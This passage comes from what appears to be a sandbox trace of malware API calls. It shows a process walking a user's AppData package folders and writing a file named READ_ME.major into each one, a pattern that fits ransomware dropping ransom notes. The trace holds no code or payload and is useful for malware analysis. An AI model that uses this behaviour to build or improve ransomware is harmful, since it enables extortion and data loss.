(dwErrCode=0x12) [0181.100] GetLastError () returned 0x12 [0181.100] SetLastError (dwErrCode=0x12) [0181.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0181.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0181.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0181.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9b8 [0181.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x58e3f8 [0181.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e3f8 | out: hHeap=0x570000) returned 1 [0181.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403f0 [0181.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403f0 | out: hHeap=0x570000) returned 1 [0181.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9b8 | out: hHeap=0x570000) returned 1 [0181.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0181.101] FindNextFileW (in: hFindFile=0x58e578, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1206ac31, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x1206ac31, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x120dd386, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0181.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0181.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0181.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0181.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0181.101] GetLastError () returned 0x12 [0181.101] SetLastError (dwErrCode=0x12) [0181.101] GetLastError () returned 0x12 [0181.101] SetLastError (dwErrCode=0x12) [0181.101] GetLastError () returned 0x12 [0181.101] SetLastError (dwErrCode=0x12) [0181.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9b8 [0181.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0181.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9b8 | out: hHeap=0x570000) returned 1 [0181.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0181.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0181.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0181.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0181.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d250 [0181.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0181.102] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0181.102] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0181.102] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0181.102] GetLastError () returned 0x12 [0181.102] SetLastError (dwErrCode=0x12) [0181.102] GetLastError () returned 0x12 [0181.102] SetLastError (dwErrCode=0x12) [0181.102] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657100 [0181.102] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0181.102] GetLastError () returned 0x12 [0181.102] SetLastError (dwErrCode=0x12) [0181.102] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x656020 [0181.102] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\ActiveSync\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\activesync\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c [0181.102] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656020 | out: hHeap=0x570000) returned 1 [0181.102] WriteFile (in: hFile=0x83c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.103] CloseHandle (hObject=0x83c) returned 1 [0181.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657100 | out: hHeap=0x570000) returned 1 [0181.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0181.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d250 | out: hHeap=0x570000) returned 1 [0181.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.104] FindNextFileW (in: hFindFile=0x58e578, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c61b36, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21c61b36, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21c61b36, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0181.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0181.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0181.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0181.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0181.104] GetLastError () returned 0x0 [0181.104] SetLastError (dwErrCode=0x0) [0181.104] GetLastError () returned 0x0 [0181.104] SetLastError (dwErrCode=0x0) [0181.104] GetLastError () returned 0x0 [0181.104] SetLastError (dwErrCode=0x0) [0181.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc878 [0181.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc878 | out: hHeap=0x570000) returned 1 [0181.104] FindNextFileW (in: hFindFile=0x58e578, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c61b36, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21c61b36, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21c61b36, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0181.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657100 [0181.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0181.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f960 | out: hHeap=0x570000) returned 1 [0181.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9e0 | out: hHeap=0x570000) returned 1 [0181.104] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21cd3c15, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e1f8 [0181.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0181.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0181.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0181.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6580a0 [0181.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.105] GetLastError () returned 0x12 [0181.105] SetLastError (dwErrCode=0x12) [0181.105] GetLastError () returned 0x12 [0181.105] SetLastError (dwErrCode=0x12) [0181.105] GetLastError () returned 0x12 [0181.105] SetLastError (dwErrCode=0x12) [0181.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0181.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0181.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0181.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc878 [0181.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x58e3f8 [0181.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e3f8 | out: hHeap=0x570000) returned 1 [0181.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405d0 [0181.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0181.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc878 | out: hHeap=0x570000) returned 1 [0181.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0181.105] FindNextFileW (in: hFindFile=0x58e1f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21cd3c15, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6580a0 | out: hHeap=0x570000) returned 1 [0181.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0181.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0181.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0181.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658618 [0181.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.105] GetLastError () returned 0x12 [0181.105] SetLastError (dwErrCode=0x12) [0181.105] GetLastError () returned 0x12 [0181.105] SetLastError (dwErrCode=0x12) [0181.105] GetLastError () returned 0x12 [0181.106] SetLastError (dwErrCode=0x12) [0181.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0181.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0181.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0181.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0181.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x58e0b8 [0181.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0181.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0181.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0181.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0181.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0181.106] FindNextFileW (in: hFindFile=0x58e1f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83eb0c97, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0181.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658618 | out: hHeap=0x570000) returned 1 [0181.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0181.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0181.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0181.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657a60 [0181.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0181.106] GetLastError () returned 0x12 [0181.106] SetLastError (dwErrCode=0x12) [0181.106] GetLastError () returned 0x12 [0181.106] SetLastError (dwErrCode=0x12) [0181.106] GetLastError () returned 0x12 [0181.106] SetLastError (dwErrCode=0x12) [0181.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658618 [0181.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9b8 [0181.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658488 [0181.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d390 [0181.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0181.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0181.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0181.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0181.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658550 [0181.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.107] GetLastError () returned 0x12 [0181.107] SetLastError (dwErrCode=0x12) [0181.107] GetLastError () returned 0x12 [0181.107] SetLastError (dwErrCode=0x12) [0181.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5c1e10 [0181.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658550 | out: hHeap=0x570000) returned 1 [0181.107] GetLastError () returned 0x12 [0181.107] SetLastError (dwErrCode=0x12) [0181.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6520f0 [0181.107] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0181.409] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6520f0 | out: hHeap=0x570000) returned 1 [0181.409] WriteFile (in: hFile=0x840, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.411] CloseHandle (hObject=0x840) returned 1 [0181.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0181.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0181.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d390 | out: hHeap=0x570000) returned 1 [0181.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658488 | out: hHeap=0x570000) returned 1 [0181.411] FindNextFileW (in: hFindFile=0x58e1f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83e18337, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0181.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657a60 | out: hHeap=0x570000) returned 1 [0181.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0181.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0181.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0181.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657998 [0181.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.411] GetLastError () returned 0x0 [0181.411] SetLastError (dwErrCode=0x0) [0181.411] GetLastError () returned 0x0 [0181.411] SetLastError (dwErrCode=0x0) [0181.411] GetLastError () returned 0x0 [0181.411] SetLastError (dwErrCode=0x0) [0181.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6583c0 [0181.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9e0 [0181.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658870 [0181.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0181.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0181.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0181.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0181.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0181.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6580a0 [0181.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0181.412] GetLastError () returned 0x0 [0181.412] SetLastError (dwErrCode=0x0) [0181.412] GetLastError () returned 0x0 [0181.412] SetLastError (dwErrCode=0x0) [0181.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5c1e10 [0181.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6580a0 | out: hHeap=0x570000) returned 1 [0181.412] GetLastError () returned 0x0 [0181.412] SetLastError (dwErrCode=0x0) [0181.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x652008 [0181.412] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0181.413] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652008 | out: hHeap=0x570000) returned 1 [0181.413] WriteFile (in: hFile=0x840, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.414] CloseHandle (hObject=0x840) returned 1 [0181.414] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0181.414] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0181.414] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0181.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658870 | out: hHeap=0x570000) returned 1 [0181.415] FindNextFileW (in: hFindFile=0x58e1f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83e18337, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0181.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657998 | out: hHeap=0x570000) returned 1 [0181.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0181.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0181.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0181.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657678 [0181.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0181.415] GetLastError () returned 0x0 [0181.415] SetLastError (dwErrCode=0x0) [0181.415] GetLastError () returned 0x0 [0181.415] SetLastError (dwErrCode=0x0) [0181.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5c1e10 [0181.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657678 | out: hHeap=0x570000) returned 1 [0181.415] GetLastError () returned 0x0 [0181.415] SetLastError (dwErrCode=0x0) [0181.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc878 [0181.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca80 [0181.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc878 | out: hHeap=0x570000) returned 1 [0181.415] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca80 | out: hHeap=0x570000) returned 1 [0181.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5afcd8 [0181.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc878 [0181.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5aff60 [0181.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0181.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0181.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0181.416] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0181.416] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0181.416] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658870 [0181.416] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0181.416] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5a8108 [0181.416] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658870 | out: hHeap=0x570000) returned 1 [0181.416] GetLastError () returned 0x0 [0181.416] SetLastError (dwErrCode=0x0) [0181.416] GetLastError () returned 0x0 [0181.416] SetLastError (dwErrCode=0x0) [0181.416] GetLastError () returned 0x0 [0181.416] SetLastError (dwErrCode=0x0) [0181.416] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ab0 [0181.416] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0181.417] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659ab0 | out: hHeap=0x570000) returned 1 [0181.417] WriteFile (in: hFile=0x840, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.418] CloseHandle (hObject=0x840) returned 1 [0181.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0181.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0181.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0181.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aff60 | out: hHeap=0x570000) returned 1 [0181.418] FindNextFileW (in: hFindFile=0x58e1f8, lpFindFileData=0x2e3fb24 | out: 